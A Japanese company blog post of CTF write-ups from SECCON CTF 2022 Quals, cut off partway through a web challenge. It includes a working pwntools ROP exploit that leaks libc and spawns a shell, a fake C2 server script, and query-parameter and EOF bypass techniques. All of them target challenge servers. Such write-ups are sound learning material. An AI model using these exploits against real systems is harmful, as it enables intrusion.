スプーキーズのちょっとTech。

SPOOKIES社内のより技工的な、専門的なブログページです。

SECCON CTF 2022参加記

こんにちは。CTF部部長のzeosuttです。

弊社のCTFチームspookiesは、2022/11/12-13に開催されたSECCON CTF 2022 Qualsに参加しました。
結果は51位で、決勝進出はなりませんでした。

以下、各メンバーの参加記まとめです。

zeosutt

[pwn] koncha

ソースとバイナリ、およびlibcが与えられる。

ソースおよびchecksecの結果は以下の通り。

#include <stdio.h>
#include <unistd.h>

int main() {
  char name[0x30], country[0x20];

  /* Ask name (accept whitespace) */
  puts("Hello! What is your name?");
  scanf("%[^\n]s", name);
  printf("Nice to meet you, %s!\n", name);

  /* Ask country */
  puts("Which country do you live in?");
  scanf("%s", country);
  printf("Wow, %s is such a nice country!\n", country);

  /* Painful goodbye */
  puts("It was nice meeting you. Goodbye!");
  return 0;
}

__attribute__((constructor))
void setup(void) {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  alarm(180);
}
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

自明なSBOF脆弱性があるのに加え、SSP無効。
1回目の入出力でlibcのアドレスをリークし、2回目の入力でROPチェーンを組めば良さそう。

スタック上には、少なくとも main() からのリターンアドレスとして __libc_start_main() のアドレスが乗っている。それをリークできると嬉しい。
しかし、 [ 変換指定子による代入結果はヌル終端されるため、残念ながら __libc_start_main() のアドレスをリークすることはできない。

ヌル終端のせいで、libcのアドレスをリークするためには以下の条件を満たす必要がある。

  1. scanf() を呼び出すタイミングで、 name の位置にlibcのアドレスが入っている
  2. "%[^\n]" による代入を回避できる入力がある

まず1。
GDBで確認してみる。

(gdb) disas main
Dump of assembler code for function main:
   0x00000000000011c9 <+0>:  endbr64 
   0x00000000000011cd <+4>:  push   %rbp
   0x00000000000011ce <+5>:  mov    %rsp,%rbp
   0x00000000000011d1 <+8>:  sub    $0x50,%rsp
   0x00000000000011d5 <+12>: lea    0xe2c(%rip),%rdi        # 0x2008
   0x00000000000011dc <+19>: callq  0x1090 <puts@plt>
   0x00000000000011e1 <+24>: lea    -0x30(%rbp),%rax
   0x00000000000011e5 <+28>: mov    %rax,%rsi
   0x00000000000011e8 <+31>: lea    0xe33(%rip),%rdi        # 0x2022
   0x00000000000011ef <+38>: mov    $0x0,%eax
   0x00000000000011f4 <+43>: callq  0x10d0 <__isoc99_scanf@plt>
...
   0x000000000000125f <+150>:    retq   
End of assembler dump.

(gdb) b *main+43
Breakpoint 1 at 0x11f4
(gdb) r
Starting program: /media/sf_GoogleDrive/CTF/SECCON/pwn/koncha/bin/chall 
Hello! What is your name?

Breakpoint 1, 0x00005555555551f4 in main ()
(gdb) x/xg $rbp-0x30
0x7fffffffdc80:    0x00007ffff7faf2e8
(gdb) x/xg {void *}($rbp-0x30)
0x7ffff7faf2e8 <__exit_funcs_lock>:  0x0000000000000000

ちゃんと、 __exit_funcs_lock という、それっぽいもののアドレスが入っている。

次に2。
21maさんから「改行だけを入力したら行けるのでは」と助言を頂いたので、試してみる。

$ cat hoge.c
#include <stdio.h>

int main(void) {
    char s[10];
    printf("%d\n", scanf("%[^\n]", s));

    return 0;
}
$ gcc -o hoge hoge.c
$ ./hoge
hoge
1
$ ./hoge

0

おー。

[ は他の多くの変換指定子と異なり、先頭の空白類文字の読み飛ばしが行われない。
そのため、 "%[^\n]" は改行のみを入力することで突破できるわけだ。
もし " %[^\n]" だと詰んでいただろう。

あとはやるだけ。

from pwn import *

context.arch = 'amd64'

target = ELF('bin/chall')

libc = ELF('lib/libc.so.6')
POP_RDI = next(libc.search(asm('pop rdi; ret'), executable=True))
RET = next(libc.search(asm('ret'), executable=True))
BIN_SH = next(libc.search(b'/bin/sh'))

# r = target.process()
r = remote('koncha.seccon.games', 9001)

r.sendlineafter(b'Hello! What is your name?\n', b'')

LIBC_BASE = u64(r.recvline().split()[-1][:-1].ljust(8, b'\x00')) - (0x7ffff7faf2e8 - 0x7ffff7dbe000)
print(hex(LIBC_BASE))

payload = b''
payload += b'A' * 0x58
payload += p64(LIBC_BASE + POP_RDI)
payload += p64(LIBC_BASE + BIN_SH)
payload += p64(LIBC_BASE + RET)
payload += p64(LIBC_BASE + libc.symbols['system'])
r.sendlineafter(b'Which country do you live in?\n', payload)

r.interactive()

SECCON{I_should_have_checked_the_return_value_of_scanf}

去年のAverage Calculatorがしっかり scanf() の返り値をチェックしていたことが思い出される。

ところで、なぜ "%[^\n]" ではなく "%[^\n]s" だったんだろう。

[rev] babycmp

バイナリが与えられる。

Ghidraで main() をデコンパイルした結果は以下の通り。

undefined8 main(int param_1,undefined8 *param_2)

{
...
  if (param_1 < 2) {
    uVar4 = 1;
    __printf_chk(1,"Usage: %s FLAG\n",*param_2);
  }
  else {
    __s = (ulong *)param_2[1];
    cpuid_basic_info(0);
    local_28 = 0x380a41;
    local_58 = 0x3032204e;
    local_48 = 0x202f2004;
    uStack68 = 0x591e2320;
    uStack64 = 0x357f1a44;
    uStack60 = 0x2b2d3675;
    local_54 = 0x3232;
    local_38 = 0x35a1711;
    uStack52 = 0x736506d;
    uStack48 = 0x1093c15;
    uStack44 = 0x362b4704;
    local_52 = 0;
    local_68 = 0x636c6557;
    uStack100 = 0x20656d6f;
    uStack96 = 0x53206f74;
    uStack92 = 0x4f434345;
    sVar1 = strlen((char *)__s);
    if (sVar1 != 0) {
      *(byte *)__s = *(byte *)__s ^ 0x57;
      uVar2 = 1;
      if (sVar1 != 1) {
        do {
          sVar3 = uVar2 + 1;
          *(byte *)(param_2[1] + uVar2) =
               *(byte *)(param_2[1] + uVar2) ^
               *(byte *)((long)&local_68 +
                        uVar2 + ((SUB168(ZEXT816(uVar2) * ZEXT816(0x2e8ba2e8ba2e8ba3) >> 0x40,0) &
                                 0xfffffffffffffffc) * 2 + (uVar2 / 0x16) * 3) * -2);
          uVar2 = sVar3;
        } while (sVar1 != sVar3);
      }
      __s = (ulong *)param_2[1];
    }
    if ((((__s[1] ^ CONCAT44(uStack60,uStack64) | *__s ^ CONCAT44(uStack68,local_48)) == 0) &&
        ((__s[3] ^ CONCAT44(uStack44,uStack48) | __s[2] ^ CONCAT44(uStack52,local_38)) == 0)) &&
       (*(int *)(__s + 4) == local_28)) {
      uVar4 = 0;
      puts("Correct!");
    }
    else {
      uVar4 = 0;
      puts("Wrong...");
    }
  }
...
}

「何も考えずにangrしてくれ」というメッセージが読み取れる。

SECCONでそんな問題出る? と疑いつつ、指示通り何も考えずにangr。

import angr
import claripy

proj = angr.Project('chall.baby')

flag = claripy.BVS('flag', 8 * 0x30)
state = proj.factory.entry_state(args=['./chall.baby', flag])
simgr = proj.factory.simgr(state)
simgr.explore(find=0x4012c2)

print(simgr.found[0].solver.eval(flag, cast_to=bytes))

SECCON{y0u_f0und_7h3_baby_flag_YaY}

warmupとはいえ到底SECCONらしくない問題だが、次の eldercmp があるからOKという判断だったのだろう。

[rev] eldercmp

バイナリが与えられる。

1バイトを除いて babycmp のバイナリと同じ。
問題文の通り、 baby_mode1 から 0 に変更されている。

baby_mode の利用箇所を探すと __detect_debugger() が見つかる。
__detect_debugger() は起動時に呼ばれている。

Ghidraで __detect_debugger() をデコンパイルした結果はだいたい以下の通り。

void __detect_debugger(undefined8 param_1,code *param_2)

{
...
  sigaction local_a8;
...
  if (baby_mode == '\0') {
    local_a8.sa_flags = 4;
    sigemptyset(&local_a8.sa_mask);
    local_a8.__sigaction_handler = trampoline;
    sigaction(SIGSEGV,&local_a8,(sigaction *)0x0);
    arch_prctl(ARCH_SET_CPUID, 0);
    arch_prctl(ARCH_SET_GS, heart);
  }
...
}

これは以下のことを行っている。

  • SIGSEGVシグナルの受信時に trampoline() を実行するように設定
  • CPUID命令を無効化(実行するとSIGSEGVシグナルを生成)
  • GSレジスタに heart() のアドレスを設定

Ghidraで trampoline() をデコンパイルした結果はだいたい以下の通り。

void trampoline(undefined8 param_1,undefined8 param_2,long param_3)

{
...
  pcVar2 = *(char **)(param_3 + 0xa8);
  if (*pcVar2 == -0xc) {
    *(char **)(param_3 + 0xa8) = pcVar2 + 1;
    return;
  }
  if (*pcVar2 == '\x0f') {
    *(ulong *)(param_3 + 0xa0) = *(ulong *)(param_3 + 0xa0) & 0xfffffffffffffff0;
    arch_prctl(ARCH_GET_GS, param_3 + 0xa8);
    if (pcVar2[1] == -0x5e) {
...
      return;
    }
    if (pcVar2[1] == '\x06') {
      return;
    }
  }
                    /* WARNING: Subroutine does not return */
  exit(1);
}

シグナルハンドラであることを踏まえると、これは以下のことを行っている(多分)。

  • シグナルが生成された命令がHLTならば、次の命令に実行を移す
  • シグナルが生成された命令がCPUIDまたはCLTSならば、 GSレジスタに設定されているアドレスに実行を移す
  • 上記以外であれば、 exit(1)

GDBで動作を確認してみる。

(gdb) start
Temporary breakpoint 1 at 0x1180
Starting program: /media/sf_GoogleDrive/CTF/SECCON/rev/eldercmp/chall.elder 

Temporary breakpoint 1, 0x0000555555555180 in main ()
(gdb) set {short}$rip=0xf4f4
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0000555555555180 in main ()
(gdb) 
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0000555555555181 in main ()
(gdb) b heart
Breakpoint 2 at 0x5555555554a0
(gdb) start
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Temporary breakpoint 3 at 0x555555555180
Starting program: /media/sf_GoogleDrive/CTF/SECCON/rev/eldercmp/chall.elder 

Temporary breakpoint 3, 0x0000555555555180 in main ()
(gdb) set {short}$rip=0x060f
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0000555555555180 in main ()
(gdb) 
Continuing.

Breakpoint 2, 0x00005555555554a0 in heart ()
(gdb) start
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Temporary breakpoint 4 at 0x555555555180
Starting program: /media/sf_GoogleDrive/CTF/SECCON/rev/eldercmp/chall.elder 

Temporary breakpoint 4, 0x0000555555555180 in main ()
(gdb) set {short}$rip=0x0000
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0000555555555180 in main ()
(gdb) 
Continuing.
[Inferior 1 (process 619706) exited with code 01]

合ってそう。

次に heart() を確認すると、以下のような構造となっている。

  1. ところどころにHLT命令を含む処理を実行
  2. GSレジスタになんかアドレスを設定
  3. CLTS命令を実行( trampoline() を介して、2で設定したアドレスにジャンプ)
  4. 1から3を繰り返す(最終的には、1に含まれるRET命令でリターン)

全体としては、ブロック暗号による暗号化を行っている。
処理は複雑で、真面目に解析するのは大変そう。
そこで、angrを使って、ブロックごとに答えから1ステップずつ地道に逆算していくことを選択。

heart() を解析しやすいように加工したものと、それを呼ぶ以下のコードを用意。

#include <stdlib.h>
#include <string.h>

void heart(void *data);

int main(int argc, char **argv) {
    void **data = malloc(0x200);
    data[0] = argv[1];
    *(size_t *)&data[1] = (strlen(argv[1]) + 7) / 8 * 8;

    heart(data);

    return 0;
}

それらをコンパイルして生成したバイナリをangrで解析。

import angr
import claripy

def prepare(i):
    state.regs.rbx = 0xffffffff0000ffff
    state.regs.rdi = 0xffffffffffffff
    state.regs.rbp = 0x4052a0
    state.regs.r8 = 0xffff00ffffffffff
    state.regs.r9 = 0xffffffff00ffffff
    state.regs.r10 = 0xff00ffffffffffff
    state.regs.r11 = 0xffffff00ffffffff
    state.regs.r12 = 0x405436
    state.regs.r13 = 0x7fffffffe000 + i * 8
    state.mem[0x4052a0].long = 0x00007fffffffe000
    state.mem[0x4052a8].long = 0x0000000000000038
    state.mem[0x4052b0].long = i * 8
    state.mem[0x4052b8].long = 0x2f2f2f666f6e7356
    state.mem[0x4052c0].long = 0x75626473736e4200
    state.mem[0x4052c8].long = 0x0b020a0f000c0020
    state.mem[0x4052d0].long = 0x0e01070d03080509
    state.mem[0x4052d8].long = 0x8119191445110406
    state.mem[0x4052e0].long = 0x1028516494883109
    state.mem[0x4052e8].long = 0x0000000000001593
    state.mem[0x4052f0].long = 0x0000000000000000
    state.mem[0x4052f8].long = 0x2010080402010000
    state.mem[0x405300].long = 0x0a052330180c0603
    state.mem[0x405308].long = 0x3b3c1e0f26132814
    state.mem[0x405310].long = 0x381c0e0722112935
    state.mem[0x405318].long = 0x09050b2412092533
    state.mem[0x405320].long = 0x0101040500010809
    state.mem[0x405328].long = 0x0f09010808040405
    state.mem[0x405330].long = 0x0108080306010801
    state.mem[0x405338].long = 0x030f030502030301
    state.mem[0x405340].long = 0x030b0904090c0405
    state.mem[0x405348].long = 0x0606050101070108
    state.mem[0x405350].long = 0x080601030f0a0803
    state.mem[0x405358].long = 0x0909010f01010305
    state.mem[0x405360].long = 0x000b050103060904
    state.mem[0x405368].long = 0x0105080e03090501
    state.mem[0x405370].long = 0x0e08030106020103
    state.mem[0x405378].long = 0x030b0506080b010f
    state.mem[0x405380].long = 0x0000040a09050501
    state.mem[0x405388].long = 0x080a0107000c080e
    state.mem[0x405390].long = 0x0408030901080301
    state.mem[0x405398].long = 0x020f0f010e070506
    state.mem[0x4053a0].long = 0x050a010c0306040a
    state.mem[0x4053a8].long = 0x090d0e0b00060107
    state.mem[0x4053b0].long = 0x0406010108030309
    state.mem[0x4053b8].long = 0x0501060104070f01
    state.mem[0x4053c0].long = 0x040f0a000205010c
    state.mem[0x4053c8].long = 0x0d030707050d0e0b
    state.mem[0x4053d0].long = 0x06070904090e0101
    state.mem[0x4053d8].long = 0x0d000100040a0601
    state.mem[0x4053e0].long = 0x0d0e0c0c05010a00
    state.mem[0x4053e8].long = 0x0f0b0b0f04010707
    state.mem[0x4053f0].long = 0x050a01080d010904
    state.mem[0x4053f8].long = 0x0e0c010606000100
    state.mem[0x405400].long = 0x030a00070d0c0c0c
    state.mem[0x405408].long = 0x020307050d0c0b0f
    state.mem[0x405410].long = 0x020204000f010108
    state.mem[0x405418].long = 0x0d06000f05060106
    state.mem[0x405420].long = 0x080b0c090e070007
    state.mem[0x405428].long = 0x08050f0003020705
    state.mem[0x405430].long = 0x0603080402060400
    state.mem[0x405438].long = 0x00000d0a000f020d

proj = angr.Project('call_heart')

flag = b''
for i in range(0x38 // 8):
    state = proj.factory.blank_state()
    state.regs.rip = 0x401853
    state.regs.rcx = claripy.BVS('rcx', 64)
    state.solver.add(state.regs.rcx & 0xf0f0f0f0f0f0f0f0 == 0)
    state.regs.rdx = claripy.BVS('rdx', 64)
    state.solver.add(state.regs.rdx & 0xf0f0f0f0f0f0f0f0 == 0)
    prepare(i)

    simgr = proj.factory.simgr(state)
    simgr.explore(find=0x401aa6)

    rcx = simgr.found[0].solver.eval(state.regs.rcx)
    rdx = simgr.found[0].solver.eval(state.regs.rdx)

    for j in range((0x405436 - 0x40531e) // 8):
        state = proj.factory.blank_state()
        state.regs.rip = 0x401667
        state.regs.rcx = claripy.BVS('rcx', 64)
        state.solver.add(state.regs.rcx & 0xf0f0f0f0f0f0f0f0 == 0)
        state.regs.rdx = claripy.BVS('rdx', 64)
        state.solver.add(state.regs.rdx & 0xf0f0f0f0f0f0f0f0 == 0)
        state.regs.rsi = 0x40542e - j * 8
        prepare(i)

        simgr = proj.factory.simgr(state)
        simgr.explore(find=0x401846)

        simgr.found[0].solver.add(simgr.found[0].regs.rcx == rcx)
        simgr.found[0].solver.add(simgr.found[0].regs.rdx == rdx)

        rcx = simgr.found[0].solver.eval(state.regs.rcx)
        rdx = simgr.found[0].solver.eval(state.regs.rdx)

    state = proj.factory.blank_state()
    state.regs.rip = 0x401504
    state.memory.store(0x7fffffffe000 + i * 8, claripy.BVS(f'flag{i}', 8 * 8))
    prepare(i)

    simgr = proj.factory.simgr(state)
    simgr.explore(find=0x40164e)

    simgr.found[0].solver.add(simgr.found[0].regs.rcx == rcx)
    simgr.found[0].solver.add(simgr.found[0].regs.rdx == rdx)

    flag += simgr.found[0].solver.eval(state.memory.load(0x7fffffffe000 + i * 8, 8), cast_to=bytes)
    print(flag)

SECCON{TWINE_wr1tt3n_1n_3xc3pt10n_0r13nt3d_pr0gr4mm1ng}

どうやらTWINEという暗号だったらしい。
Exception Oriented Programmingというのも初めて聞いた。面白い。
そしてやはりangrは強い。

[rev] eguite

バイナリが与えられる。

ライセンスをチェックするGUIアプリケーション。

CHECKボタンを押すと onclick() が呼ばれる。

Ghidraで onclick() をデコンパイルした結果は以下の通り。

bool eguite::Crackme::onclick(long param_1)

{
...  
  if (*(long *)(param_1 + 0x90) != 0x2b) {
    return false;
  }
  puVar11 = *(uint **)(param_1 + 0x80);
  if ((*(uint *)((long)puVar11 + 3) ^ 0x7b4e4f43 | *puVar11 ^ 0x43434553) != 0) {
    return false;
  }
  if (*(byte *)((long)puVar11 + 0x2a) != 0x7d) {
    return false;
  }
  puVar1 = (uint *)((long)puVar11 + 0x2b);
  lVar5 = 0x13;
  puVar4 = puVar11;
  do {
...
      puVar4 = (uint *)((long)puVar4 + 1);
...
    lVar5 = lVar5 + -1;
  } while (lVar5 != 0);
...
  bVar2 = *(byte *)puVar4;
  uVar9 = (uint)bVar2;
...
  if (uVar9 != 0x2d) {
    return false;
  }
  lVar5 = 0x1a;
  puVar4 = puVar11;
  do {
...
      puVar4 = (uint *)((long)puVar4 + 1);
...
    lVar5 = lVar5 + -1;
  } while (lVar5 != 0);
...
    bVar2 = *(byte *)puVar4;
    uVar9 = (uint)bVar2;
...
    if (uVar9 != 0x2d) {
      return false;
    }
    lVar5 = 0x21;
    puVar4 = puVar11;
    do {
...
        puVar4 = (uint *)((long)puVar4 + 1);
...
      lVar5 = lVar5 + -1;
    } while (lVar5 != 0);
...
      bVar2 = *(byte *)puVar4;
...
        if (uVar9 != 0x2d) {
          return false;
        }
        local_58 = 7;
        uStack84 = 0;
        uStack80 = 0xc;
        uStack76 = 0;
        local_68 = puVar11;
        local_60 = puVar1;
        <alloc::string::String_as_core::iter::traits::collect::FromIterator<char>>::from_iter
                  (&local_48,&local_68);
...
        core::num::<impl_u64>::from_str_radix(&local_68,local_48,local_38,0x10);
        puVar4 = local_60;
...
        local_58 = 0x14;
        uStack84 = 0;
        uStack80 = 6;
        uStack76 = 0;
        local_68 = puVar11;
        local_60 = puVar1;
        <alloc::string::String_as_core::iter::traits::collect::FromIterator<char>>::from_iter
                  (&local_48,&local_68);
...
        core::num::<impl_u64>::from_str_radix(&local_68,local_48,local_38,0x10);
        puVar10 = local_60;
...
        local_58 = 0x1b;
        uStack84 = 0;
        uStack80 = 6;
        uStack76 = 0;
        local_68 = puVar11;
        local_60 = puVar1;
        <alloc::string::String_as_core::iter::traits::collect::FromIterator<char>>::from_iter
                  (&local_48,&local_68);
...
        core::num::<impl_u64>::from_str_radix(&local_68,local_48,local_38,0x10);
        puVar8 = local_60;
...
        local_58 = 0x22;
        uStack84 = 0;
        uStack80 = 8;
        uStack76 = 0;
        local_68 = puVar11;
        local_60 = puVar1;
        <alloc::string::String_as_core::iter::traits::collect::FromIterator<char>>::from_iter
                  (&local_48,&local_68);
        core::num::<impl_u64>::from_str_radix(&local_68,local_48,local_38,0x10);
        puVar11 = local_60;
...
        if ((byte *)((long)puVar4 + (long)puVar10) != (byte *)0x8b228bf35f6a) {
          return false;
        }
        if ((byte *)((long)puVar8 + (long)puVar10) != (byte *)0xe78241) {
          return false;
        }
        if ((byte *)((long)puVar11 + (long)puVar8) == (byte *)0xfa4c1a9f) {
          if ((byte *)((long)puVar4 + (long)puVar11) == (byte *)0x8b238557f7c8) {
            return ((ulong)puVar8 ^ (ulong)puVar10 ^ (ulong)puVar11) == 0xf9686f4d;
          }
          return false;
        }
        return false;
...
}

前半は、ライセンスのフォーマットをチェックしている。
フォーマットは SECCON{XXXXXXXXXXXX-XXXXXX-XXXXXX-XXXXXXXX}
ライセンスがそのままフラグっぽい。

後半は、各XXXXを16進数と見なした際に特定の等式を満たすことをチェックしている。
これはZ3で解けそう。

なお、問題文より、各XXXXに含まれるアルファベットは小文字であることが分かっている。

from z3 import *

xs = [BitVec(f'x{i}', 8 * 8) for i in range(4)]

s = Solver()

s.add(xs[0] + xs[1] == 0x8b228bf35f6a)
s.add(xs[2] + xs[1] == 0xe78241)
s.add(xs[3] + xs[2] == 0xfa4c1a9f)
s.add(xs[0] + xs[3] == 0x8b238557f7c8)
s.add(xs[1] ^ xs[2] ^ xs[3] == 0xf9686f4d)

s.check()
m = s.model()

flag = ''
flag += 'SECCON{'
flag += f'{m[xs[0]].as_long():012x}'
flag += '-'
flag += f'{m[xs[1]].as_long():06x}'
flag += '-'
flag += f'{m[xs[2]].as_long():06x}'
flag += '-'
flag += f'{m[xs[3]].as_long():08x}'
flag += '}'
print(flag)

SECCON{8b228b98e458-5a7b12-8d072f-f9bf1370}

[rev] DoroboH(解けず)

バイナリとメモリダンプとパケットキャプチャ、およびそれらの関係を説明した文書が与えられる。
与えられたバイナリ araiguma.exe は、攻撃者のマシン上で動作する kitsune.exe と通信するらしい。

処理は以下の通り。

  1. DH鍵共有
  2. 1の鍵を使ってRC4で暗号化されたコマンドが送られてくる
  3. 2のコマンドを復号して実行

A = g^{a} \bmod pa を生成していそうな処理の前後のメモリを比較し、 a の場所(ASLRの影響でアドレスは毎回変わるので、目印からのオフセット)を探る。
それっぽい箇所が見つかったので、メモリダンプ中の対応する箇所の値で上書き。
すると、 kitsune.exe に送信する値がパケットキャプチャのものと一致。

そこで、以下のスクリプトで kitsune.exe を再現し、暗号化されたコマンドを araiguma.exe に復号させてみる。

from pwn import *
import socket

def send(data):
    c.send(p32(len(data)))
    c.send(data)

PORT = 8080

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('', PORT))
s.listen()

c, _ = s.accept()

victim_key_size = u32(c.recv(4))
print(c.recv(victim_key_size))

attacker_key = bytes.fromhex('0602000002aa00000044483100020000288f76749ec20b9ab18c618418ae9a70722618dc685e667fc0c19b906a6aa3a571f473ea0eaada269f29860d55ddcba0367ee6f7a1fac83d2d7395482930b3b8')
send(attacker_key)

payload = bytes.fromhex('8c28c20d027aa8bc9a71b107022421e907340de0f9a4c540611f2d95b560f8435fdb44ecb38876ddab1fe3ffcaf26aeb65b7f7f4d1d0bc6ceec521c77c27cd0ffba4a9d007228c478288b906b64d832be9822e123ec4a5abbc155a24b63a8c657c05ff6148124f')
send(payload)

payload = bytes.fromhex('8c28c20d027aa8bc9a6bd436240c1df73e2714bfabaefb7d340635df9174e24719dd3bcce89572ddad49ac8c93f122aa61ada3f3cb8aa1288bab33957169fd04c482a797556ff067ccb2b031b64c9b03e586142015d5bfa6a1194b0cb939832c2609f3184f18')
send(payload)

c.close()

しかし、残念ながらフラグは得られず、毎回異なる復号結果となる。
先ほど見つけたのは、 a ではなく A か、あるいはさらにそれに手を加えた値の位置だったのかもしれない。

もっとちゃんとメモリの比較を行っていれば解けたのだろうか。

感想

悔しいです。

活動を開始した2018年は43位、そこから3年連続49位、そして今年は51位。
過去最低順位を更新しました。惨敗です。

今年はこれまでで一番精力的に活動した年でした。
CTFtimeを見ても、去年までと比べて圧倒的に多くのイベントに参加しています。
イベント不参加の週も、復習等の活動をしていたことが多いです。

それにもかかわらずこの結果。不甲斐ないばかりです。
いや、皆さん強すぎません...?

また一年精進して、来年こそは過去最高順位で予選を突破します。
よろしくお願いします。

21ma

今年はmiscにチャレンジしました。
結果的には、去年と同じく warmup 1問しか解けませんでした。

[misc] find flag

概要

# nc find-flag.seccon.games 10042
filename:

ncでサーバに接続したら filename の入力を求められる。
ソースが提供されている。

#!/usr/bin/env python3.9
import os

FLAG = os.getenv("FLAG", "FAKECON{*** REDUCTED ***}").encode()

def check():
    try:
        filename = input("filename: ")
        if open(filename, "rb").read(len(FLAG)) == FLAG:
            return True
    except FileNotFoundError:
        print("[-] missing")
    except IsADirectoryError:
        print("[-] seems wrong")
    except PermissionError:
        print("[-] not mine")
    except OSError:
        print("[-] hurting my eyes")
    except KeyboardInterrupt:
        print("[-] gone")
    return False

if __name__ == '__main__':
    try:
        check = check()
    except:
        print("[-] something went wrong")
        exit(1)
    finally:
        if check:
            print("[+] congrats!")
            print(FLAG.decode())

最初は環境変数をどうにかして取得しようと藻掻いたが、取れず・・。

アプローチ

コードを見ると、

  1. check関数内でいくつかの例外をキャッチしてそれに応じたメッセージを出している
  2. check関数の結果(boolean)を変数checkで受けて、それを条件にFLAGを出力している
  3. check関数内でも例外キャッチしているが、補足しきれなかった例外をmain関数で実行している

配布されているdockerでローカルに環境を作り、コードをコネコネしていたら、意図せず例外が発生してFLAGが取れてしまった。
(ファイルではなく、文字列に対してcloseしようとして、AttributeError発生)
つまりは、上記3のcheck関数内で補足していない例外を発生させれば、FLAGが取得できる。

例外処理の例外

pythonのドキュメントを見ると、
input()で以下の記述がある。

引数 prompt が存在すれば、それが末尾の改行を除いて標準出力に書き出されます。次に、この関数は入力から 1 行を読み込み、文字列に変換して (末尾の改行を除いて) 返します。 EOF が読み込まれたとき、 EOFError が送出されます。

組み込み関数 — Python 3.11.0b5 ドキュメント

check関数内で EOFErrorの補足指定がないので、3の状態に持っていける。
MACなので、filenameの入力受付状態で Ctrl+D を入力してEOFを打ち込むことで、フラグが取れた。

exitの挙動

exit(1) で即時終了するのかと思ったが、finallyの処理は実行されるみたい。
違いを調べてみると、以下のようである。

  • exit() : SystemExit 例外を投げる。プロセスを終了するわけではない。(主にインタラクティブシェル用)
  • sys.exit() : SystemExit 例外を投げる。プロセスを終了するわけではない。(主にスクリプト用)
  • os._exit() : プロセスを終了

つまりは、 exit()sys.exit() は、 SystemExitをcatchするような処理を書くと処理を継続することもできるみたい。

    try:
        exit(1)
    except:
        print("exitは例外キャッチして、処理継続できるYO")

    print("次の処理へ")

そして、プロセスを終了させてるわけではないので、 行儀よく finally の処理まで実行してくれた。

まとめ

  1. 入力として EOF 相当を送りつけ、EOFError例外を発生させる
  2. 結果を受けとる 変数としてのcheck は定義されなくなる
  3. exit(1) は、その後の finally を処理してくれる
  4. FLAG出力条件の check は check関数の結果としてのcheck変数 ではなく check関数 を指すことになるので 条件が truthy となる
  5. フラグGET
from pwn import *

r = remote("find-flag.seccon.games", 10042)
r.sendline(b'\x00')
r.interactive()
# python3 solve.py
[+] Opening connection to find-flag.seccon.games on port 10042: Done
[*] Switching to interactive mode
filename: [-] something went wrong
[+] congrats!
SECCON{exit_1n_Pyth0n_d0es_n0t_c4ll_exit_sysc4ll}
[*] Got EOF while reading in interactive

ありがとうございました。

hiraoka

[web] skipinx

nginx とアプリサーバーが別インスタンスで稼働しており、外部公開しているのはもちろん nginx な構成の問題。フラグはアプリサーバーの環境変数にあります。

const app = require("express")();
const FLAG = process.env.FLAG ?? "SECCON{dummy}";
const PORT = 3000;
app.get("/", (req, res) => {
  req.query.proxy.includes("nginx")
    ? res.status(400).send("Access here directly, not via nginx :(")
    : res.send(`Congratz! You got a flag: ${FLAG}`);
});
app.listen({ port: PORT, host: "0.0.0.0" }, () => {
  console.log(`Server listening at ${PORT}`);
});

アプリ側のソースとしてはこれだけで非常にシンプルです。フラグをとるためにはクエリパラメーターproxy"nginx"を含まなければいいだけですね。しかし、この問題ではリバースプロキシの nginx で以下の設定ファイルが存在します。

server {
  listen 8080 default_server;
  server_name nginx;
  location / {
    set $args "${args}&proxy=nginx";
    proxy_pass http://web:3000;
  }
}

set $args "${args}&proxy=nginx";によって強制的にクエリパラメータproxynginxが付加されてしまいます。これでは必ずreq.query.proxy.includes("nginx")の判定がtrueになってしまいそうです。なんとかしてこの判定をfalseにするためにどうしたらいよいでしょうか?

ここで、expressにおけるクエリパラメータのパース処理を考えます。expressqsというパッケージに依存しており、ミドルウェアの中でqs.parseを使用しています。

ということでqs.parseの処理を見に行きます。

パースの処理をつらつらと読んでいこうと思いましたが、このファイルの先頭付近にかなり気になるものがありました。

var defaults = {
  allowDots: false,
  allowPrototypes: false,
  allowSparse: false,
  arrayLimit: 20,
  charset: "utf-8",
  charsetSentinel: false,
  comma: false,
  decoder: utils.decode,
  delimiter: "&",
  depth: 5,
  ignoreQueryPrefix: false,
  interpretNumericEntities: false,
  parameterLimit: 1000,
  parseArrays: true,
  plainObjects: false,
  strictNullHandling: false,
};

これはパースのデフォルトオプションですが、parameterLimit: 1000に注目。デフォルトでは最大 1000 個までのクエリパラメータしかパースできないのではと推測しました。実際に中の処理を見てみると...

var parseValues = function parseQueryStringValues(str, options) {
    var obj = {};
    var cleanStr = options.ignoreQueryPrefix ? str.replace(/^\?/, '') : str;
    var limit = options.parameterLimit === Infinity ? undefined : options.parameterLimit;
    var parts = cleanStr.split(options.delimiter, limit);
    // 以下省略...

実際クエリパラメータの分割にparameterLimitを使用していることがわかりました。

となればクエリパラメータを 1000 個以上送りつけてしまえば、nginx で&proxy=nginxを付加されてもそれは無視されるはずです。以下のような URL を生成してブラウザでアクセスしてみたところ、無事フラグが取得できました!

なお、なにかしらproxyもパラメータとして含めてあげないとreq.query.proxyundefinedになってしまって例外発生するので注意です。

[web] easylfi

flask 製のアプリサーバのみの構成です。スクリプトはapp.pyのみ。

from flask import Flask, request, Response
import subprocess
import os

app = Flask(__name__)

def validate(key: str) -> bool:
    # E.g. key == "{name}" -> True
    #      key == "name"   -> False
    if len(key) == 0:
        return False
    is_valid = True
    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"
    return is_valid
    
def template(text: str, params: dict[str, str]) -> str:
    # A very simple template engine
    for key, value in params.items():
        if not validate(key):
            return f"Invalid key: {key}"
        text = text.replace(key, value)
    return text
    
@app.after_request
def waf(response: Response):
    if b"SECCON" in b"".join(response.response):
        return Response("Try harder")
    return response
    
@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
